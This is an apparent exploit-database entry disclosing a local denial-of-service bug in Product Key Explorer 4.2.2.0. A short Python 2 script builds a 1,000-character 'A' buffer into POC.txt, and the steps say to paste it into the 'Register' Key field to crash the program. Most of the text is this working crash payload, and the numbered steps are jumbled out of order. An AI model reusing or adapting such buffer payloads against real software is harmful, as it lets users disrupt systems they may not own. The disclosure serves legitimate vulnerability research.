# Exploit Title: Product Key Explorer 4.2.2.0 - 'Key' Denial of Service (PoC)# Discovery by: 0xMoHassan# Date: 2020-04-04# Vendor Homepage: http://www.nsauditor.com# Software Link: http://www.nsauditor.com/downloads/productkeyexplorer_setup.exe# Tested Version: 4.2.2.0# Vulnerability Type: Denial of Service (DoS) Local# Tested on OS: Windows XP - SP3# About App# Product Key Explorer is a powerful product key finder solution for Windows, designed to help users find, # recover and backup activation keys for +9000 popular software programs installed on local or network computers.# PoC# 1.Run the python script, it will create a new file "POC.txt"# 3.Run Product Key Explorer and click on "Register -> Enter Registration Code"# 2.Paste the content of POC.txt into the Field: 'Key'# 6.click 'ok'# 5.Magic happen :)#!/usr/bin/env python
buff = "\x41"*500
buff +="\x41"* 500
try:
f=open("POC.txt","w")
print "[+] Creating %s bytes payload.."%len(buff)
f.write(buff)
f.close()
print "[+] POC created!"
except:
print "POC cannot be created"